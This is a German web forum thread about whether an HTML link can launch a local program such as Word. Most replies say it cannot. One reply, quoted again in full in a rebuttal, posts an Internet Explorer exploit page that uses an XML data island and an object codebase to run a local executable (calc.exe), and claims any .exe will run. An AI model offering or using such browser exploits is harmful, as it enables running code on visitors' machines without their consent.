jan: externes programm starten

hallo,
habe folgendes problem:
ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

vielen dank im voraus!
viele grüße

  1. moin

    du kannst mit HTML keine Programme ohne erlaubniss des users ausführen.

    wenn du kannst aber ein programm wie z.B. word starten in dem du auf ein word-document verlinkst.
    sollte der user zufällig die richitge word-version installiert haben könntest du glück haben das er da auch etwas angezeigt bekommt.

    in den meisten fällen dürfte er aber ein auswahlfenster angezigt bekommen das ihn frage "öffnen oder speichern" und da kommt man nicht drumrum.

    so long
    ole
    (8-)>

  2. Hallo Jan,

    ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

    HTML ist kein Scriptsprache, es ist eine Strukturbeschreibungssprache
    und bietet deshalb auch keine Funktionalitäten, um auf irgendeine Art
    und Weise Programme zu starten.

    http://de.selfhtml.org/navigation/faq.htm#programm_ausfuehren

    Viele Grüße,
    Stefan

    1. Hallo Stefan,

      HTML ist kein Scriptsprache, es ist eine Strukturbeschreibungssprache
      und bietet deshalb auch keine Funktionalitäten, um auf irgendeine Art und Weise Programme zu starten.

      mmmh, da gab es mal vor Jahren so einen Umlauf, dass man Bestimmte Befehle und Texte nacheinander in Excel  oder in Word eingeben musste und dann lief da plötzlich ein Film ab, der alle Entwickler auflistete, die daran mitgearbeitet haben.

      Wieso sollte denn der IE nicht auch so nette kleine Einbauten haben? HTML ist schließlich ein genügend großer "externer Variablenbereich" für den Parser im Browser. Wenn man da eine bestimmte Fehlerkombination in der richtigen Reihenfolge übergibt, warum sollte der das nicht als Aufforderung zu einer Schandtat interpretieren?

      Dass es im HTML Standard nicht vorgesehen ist, ein Programm zu starten, hat doch überhaupt nichts damit zu tun, dass ob es _möglich_ ist.

      Liebe Grüße

      Tom

      1. Hi Thomas,

        Dass es im HTML Standard nicht vorgesehen ist, ein
        Programm zu starten, hat doch überhaupt nichts damit
        zu tun, dass ob es _möglich_ ist.

        doch - weil mit "möglich" ohne explizit abweichend spe-
        zifizierten Kontext immer "in allen Browsern möglich"
        gemeint sein muß: </faq/#Q-07d>

        Viele Grüße
        <img src="http://www.schroepl.net/projekte/gzip_cnc/gzip_cnc.gif" border=0 alt=""> Michael

        1. Hallihallo Michael,

          das ist ja nunmal so festgelegt. Habe ich wohl irgendwie überlesen.

          Aber gefährlich finde ich es doch, wenn man einfach solche Sicherheitslücken unterschlägt und dann sagt "unser Gestz hat mich nicht dazu verpflichtet, darauf hinzuweisen". Das ist irgendwie schief.

          Vielleicht kann man ja diese Vorgabe makl dahingehend ändern, dass Fragesteller auf die besonderen Risiken (und dieses hier ist ja ein ganz besonderes) hingewiesen werden sollen. Ich fänds besser.

          Gruß

          Tom

  3. Warum willst Du das?

    Viele Grüße Jens

  4. hallo,
    habe folgendes problem:
    ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

    Wenn Du eine .doc, *ppt oder .xls verlinkst, wird - wenn MS-Office installiert - das Dokument mit seinem Programm geoeffnet.

    Gruesse
    Wilhelm

  5. Hallo Jan

    Wie du in den anderen Antworten schon gelesen hast ist es mit HTML nicht möglich, was ja auch gut so ist.

    Wenn du dies jedoch auf _deinem_ Rechner benötigst und den IE benuzst gibt es eine Möglichkeit die Abfrage nach dem Download zu umgehen. Dazu musst du einen Wert in der Registry ändern. Ich wurde damals in den Google-Groups fündig.
    Den PC solltest du dann jedoch nicht mehr ans Netz hängen, da z.B. 0190-Dialer direkt ausgeführt würden.

    Danach kannst du Programme einfach mit einem <a href="notepad.exe">notepad</a> verlinken.

    MfG

    Tom2

  6. Hi,

    ist es möglich, per link aus einem HTML-skript ein
    programm (bsp. WORD) zu starten?

    auf was für eine Art von Objekt soll dieser Link verweisen?
    Einfach nur Word zu starten ohne Dokument erscheint mir
    nicht arg sinnvoll ... und mit Dokument wäre mir nicht
    klar, wieso Du ein Problem haben solltest.

    Viele Grüße
    <img src="http://www.schroepl.net/projekte/gzip_cnc/gzip_cnc.gif" border=0 alt=""> Michael

  7. hallo,
    habe folgendes problem:
    ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

    vielen dank im voraus!
    viele grüße

    Hallo und es geht doch!!!

    Hier der Skript der das File öffnen kann. Du kannst die Datei oder auch eine .exe angeben mit dem korrektem Pfad und sie wird ausgeführt.

    <html><head><title>Öffnet ein File auf dem PC</title></head><body>Starte <I>C:\WINNT\system32\calc.exe</I><span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
    <xml id="oExec">
            <security>
                    <exploit>
                            <![CDATA[
                            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase=C:\WINNT\system32\calc.exe></object>
                            ]]>
                    </exploit>
            </security>
    </xml>
    Starte <I>C:\WINNT\system32\calc.exe</I><span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
    <xml id="oExec">
            <security>
                    <exploit>
                            <![CDATA[
                            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase=C:\WINNT\system32\calc.exe></object>
                            ]]>
                    </exploit>
            </security>
    </xml>
    </body>
    </html>

    1. hallo,
      habe folgendes problem:
      ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

      vielen dank im voraus!
      viele grüße

      Hallo und es geht doch!!!

      Moin Moin !

      Und nein, geht nicht. Denn:

      * Nicht jeder benutzt Windows
      * Nicht jeder benutzt den IE
      * Nicht jeder benutzt den IE, der für diesen Exploit anfällig ist
      * Nicht jeder hat den IE so eingestellt, daß der für diesen Exploit anfällig ist
      * Nicht jeder hat Windows in C:\Windows bzw. C:\WinNT installiert
      * Nicht jeder hat Word in C:\Programme\Office\WORD.EXE installiert
      * Nicht jeder geht ohne filternden Proxy ins WWW.

      Mit anderen Worten: Was Du hier postest, ist großenteils Unsinn, auch wenn es zufällig auf Deinem PC funktionieren mag.

      Alexander

      Hier der Skript der das File öffnen kann. Du kannst die Datei oder auch eine .exe angeben mit dem korrektem Pfad und sie wird ausgeführt.

      <html><head><title>Öffnet ein File auf dem PC</title></head><body>Starte <I>C:\WINNT\system32\calc.exe</I><span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
      <xml id="oExec">
              <security>
                      <exploit>
                              <![CDATA[
                              <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase=C:\WINNT\system32\calc.exe></object>
                              ]]>
                      </exploit>
              </security>
      </xml>
      Starte <I>C:\WINNT\system32\calc.exe</I><span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
      <xml id="oExec">
              <security>
                      <exploit>
                              <![CDATA[
                              <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase=C:\WINNT\system32\calc.exe></object>
                              ]]>
                      </exploit>
              </security>
      </xml>
      </body>
      </html>

  8. hallo,
    habe folgendes problem:
    ist es möglich, per link aus einem HTML-skript ein programm (bsp. WORD) zu starten? vielleicht ähnlich dem <a href....> befehl und dann die word.exe anwählen?

    also, wenn du es nur bei dir machst, dann kannst du es mit hta anwendungen machen. geht aber nur im ie, du kannst danach aber noch sicher ins internet. im archiv habe ich erst letzte woche was dazu geschrieben, das kannst du bestimmt einfach finden.

    mfg